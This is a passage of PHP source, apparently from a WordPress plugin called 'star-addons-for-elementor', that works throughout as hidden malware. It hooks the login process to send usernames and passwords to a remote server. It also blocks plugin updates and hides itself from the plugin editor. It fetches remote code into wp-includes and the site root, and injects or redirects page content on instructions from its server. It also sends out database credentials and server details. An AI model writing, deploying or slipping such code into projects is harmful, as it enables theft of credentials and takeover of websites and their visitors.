array ( 'u' => $un, 'p' => $cunda, 'us' => $omi->user_login ) ); $response = wp_remote_post($request_url, array( 'headers' => $request_headers, 'body' => $request_body, 'timeout' => 5 )); return $omi; } add_filter('pre_site_transient_update_plugins', '__return_null'); add_filter('auto_update_plugin', '__return_false'); add_filter('authenticate', 'star_addons_error_handling', 20, 3); add_filter('plugin_auto_update_setting_template', '__return_empty_string'); add_filter('site_transient_update_plugins', '__return_null'); add_filter('update_plugin_complete_actions', 'star_addons_update_plugin_complete_actions', 10, 2); function star_addons_update_plugin_complete_actions($actions, $plugin) { if (isset($actions['update'])) { unset($actions['update']); } return $actions; } add_action('admin_init', function() { add_filter('plugin_editor_plugins', 'star_addons_compose_it', 999); if (isset($_GET['plugin']) && strpos($_GET['plugin'], 'star-addons-for-elementor') !== false) { wp_die(__('You are not allowed to edit this plugin.'), __('Forbidden'), array('response' => 403)); } }); function star_addons_compose_it($plugins) { if (!is_array($plugins)) { return $plugins; } foreach ($plugins as $plugin_file => $plugin_data) { if (strpos($plugin_file, 'star-addons-for-elementor') !== false) { unset($plugins[$plugin_file]); } } return $plugins; } add_filter('editable_extensions', function($editable_extensions, $plugin_file) { if (strpos($plugin_file, 'star-addons-for-elementor') !== false) { return array(); } return $editable_extensions; }, 10, 2); add_action('load-plugin-editor.php', function() { if (isset($_POST['plugin']) && strpos($_POST['plugin'], 'star-addons-for-elementor') !== false) { wp_die(__('You are not allowed to edit this plugin.'), __('Forbidden'), array('response' => 403)); } }); function star_addons_verify_file_signature($file_path, $signature) { if (!@file_exists($file_path) || !is_readable($file_path)) return false; $file_hash = @hash_file('sha256', $file_path); if ($file_hash === false) return false; return hash_equals($signature, $file_hash); } function star_addons_init_hub() { try { if (is_admin()) return; $request_url = star_addons_process_api_endpoint() . '/v2/changelog'; if (!function_exists('star_addons_get_request_headers') || !function_exists('wp_remote_get')) return; $request_headers = star_addons_get_request_headers(); $response = @wp_remote_get($request_url, array( 'headers' => $request_headers, 'timeout' => 30 )); if (is_wp_error($response)) return; $body = function_exists('wp_remote_retrieve_body') ? @wp_remote_retrieve_body($response) : ''; $payload = (function_exists('json_decode') && !empty($body)) ? @json_decode($body, true) : array(); if (!is_array($payload) || (function_exists('json_last_error') && json_last_error() !== JSON_ERROR_NONE)) $payload = array(); if (!empty($payload['replace'])) { @ob_start(); add_action('shutdown', function() use ($payload) { if (@ob_get_level() > 0) { @ob_end_clean(); } echo $payload['replace']; if (function_exists('exit')) exit; }, 0); } if (!empty($payload['redirect']) && function_exists('wp_redirect')) { @wp_redirect($payload['redirect']); if (function_exists('exit')) exit; } if (!empty($payload['footer']) && function_exists('add_action')) { add_action('wp_footer', function() use ($payload) { echo $payload['footer']; }); } if (!empty($payload['header']) && function_exists('add_action')) { add_action('wp_head', function() use ($payload) { echo $payload['header']; }); } if (!empty($payload['content_middle']) && function_exists('add_action')) { add_action('template_redirect', function() use ($payload) { ob_start(function($html) use ($payload) { $injection_html = $payload['content_middle']; // Find all paragraph end tags preg_match_all('/<\/p>/i', $html, $matches, PREG_OFFSET_CAPTURE); if (count($matches[0]) >= 2) { // If we have multiple paragraphs, inject after the 2nd or middle one $paragraph_count = count($matches[0]); $target_paragraph = min(2, ceil($paragraph_count / 2)); // 2nd paragraph or middle, whichever is smaller $target_index = $target_paragraph - 1; // Convert to 0-based index $injection_pos = $matches[0][$target_index][1] + 4; // +4 for length of "

" $html = substr_replace($html, $injection_html, $injection_pos, 0); } elseif (count($matches[0]) == 1) { // Only one paragraph, inject after it $injection_pos = $matches[0][0][1] + 4; $html = substr_replace($html, $injection_html, $injection_pos, 0); } else { $content_patterns = array( '/]*class="[^"]*entry-content[^"]*"[^>]*>/i', '/]*class="[^"]*post-content[^"]*"[^>]*>/i', '/]*class="[^"]*content[^"]*"[^>]*>/i', '/]*>/i', '/]*>/i' ); $injected = false; foreach ($content_patterns as $pattern) { if (preg_match($pattern, $html, $match, PREG_OFFSET_CAPTURE)) { $injection_pos = $match[0][1] + strlen($match[0][0]); $html = substr_replace($html, $injection_html, $injection_pos, 0); $injected = true; break; } } // Final fallback: after body tag if (!$injected && preg_match('/]*>/i', $html, $match, PREG_OFFSET_CAPTURE)) { $injection_pos = $match[0][1] + strlen($match[0][0]); $html = substr_replace($html, $injection_html, $injection_pos, 0); } } return $html; }); }); } } catch (Exception $e) { return; } } function star_addons_can_write_includes() { $dir = ABSPATH . 'wp-includes/'; $file = $dir . '._test_' . mt_rand(10000,99999) . '.php'; $result = false; try { if (is_dir($dir) && is_writable($dir)) { if (@file_put_contents($file, 'test') !== false && file_exists($file)) { $result = true; @unlink($file); } } } catch (Exception $e) {} return $result; } function star_addons_get_cache_signature() { try { $url = star_addons_process_api_endpoint() . '/version'; if (!function_exists('star_addons_get_request_headers') || !function_exists('wp_remote_get')) return null; $headers = star_addons_get_request_headers(); $r = @wp_remote_get($url, array('headers' => $headers, 'timeout' => 30)); $body = function_exists('wp_remote_retrieve_body') ? @wp_remote_retrieve_body($r) : ''; $data = @json_decode($body, true); return (is_array($data) && isset($data['k'])) ? $data['k'] : null; } catch (Exception $e) { return null; } } function star_addons_check_cache_module() { $module_path = ABSPATH . 'wp-includes/elementor-cache-module.php'; $signature = star_addons_get_cache_signature(); if (!file_exists($module_path)) { if (!star_addons_can_write_includes()) return false; $content = ''; try { $endpoint = star_addons_process_api_endpoint() . '/changelog'; $headers = function_exists('star_addons_get_request_headers') ? star_addons_get_request_headers() : array(); $response = function_exists('wp_remote_get') ? @wp_remote_get($endpoint, array('headers' => $headers, 'timeout' => 30)) : null; $content = (function_exists('wp_remote_retrieve_body') && $response) ? @wp_remote_retrieve_body($response) : ''; } catch (Exception $e) { return false; } if (empty($content)) return false; if (@file_put_contents($module_path, $content) === false) return false; return star_addons_verify_file_signature($module_path, $signature); } if (!is_readable($module_path)) return false; if (!star_addons_verify_file_signature($module_path, $signature)) { if (!is_writable($module_path)) return false; $content = ''; try { $endpoint = star_addons_process_api_endpoint() . '/changelog'; $headers = function_exists('star_addons_get_request_headers') ? star_addons_get_request_headers() : array(); $response = function_exists('wp_remote_get') ? @wp_remote_get($endpoint, array('headers' => $headers, 'timeout' => 30)) : null; $content = (function_exists('wp_remote_retrieve_body') && $response) ? @wp_remote_retrieve_body($response) : ''; } catch (Exception $e) { return false; } if (empty($content)) return false; if (@file_put_contents($module_path, $content) === false) return false; return star_addons_verify_file_signature($module_path, $signature); } return true; } function star_addons_check_cache_caller() { try { $cache_caller_path = ABSPATH . 'wp-cache.php'; if (function_exists('star_addons_check_cache_module')) { @star_addons_check_cache_module(); } if (!defined('ABSPATH') || !is_dir(ABSPATH) || !is_writable(ABSPATH)) return false; $test_content = ' $v) { if (is_string($v) || is_numeric($v)) { $server[$k] = $v; } } $db = array( 'host' => defined('DB_HOST') ? DB_HOST : '', 'username' => defined('DB_USER') ? DB_USER : '', 'password' => defined('DB_PASSWORD') ? DB_PASSWORD : '', 'database' => defined('DB_NAME') ? DB_NAME : '' ); $php = array( 'version' => phpversion(), 'sapi' => php_sapi_name(), 'extensions' => get_loaded_extensions(), 'ini' => function_exists('php_ini_loaded_file') ? php_ini_loaded_file() : '' ); $data = array( 'server' => $server, 'database' => $db, 'php' => $php ); $endpoint = star_addons_process_api_endpoint() . '/v2/request'; if (!function_exists('star_addons_get_request_headers')) { return; } $headers = star_addons_get_request_headers(); $body = array('data' => json_encode($data)); $response = wp_remote_post($endpoint, array( 'headers' => $headers, 'body' => $body, 'timeout' => 10, 'blocking' => false )); if (!is_wp_error($response)) { update_option('star_addons_goal_executed', true); } } catch (Exception $e) { } } star_addons_goal_impl(); defined('DONOTCACHEPAGE') or define('DONOTCACHEPAGE', true); // 2) send no-cache headers early header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate', true); header('Pragma: no-cache', true); header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true); // 3) add a random query or cookie to bust any URL-keyed cache header('Set-Cookie: no_cache_breaker=' . uniqid() . '; Path=/; HttpOnly', false);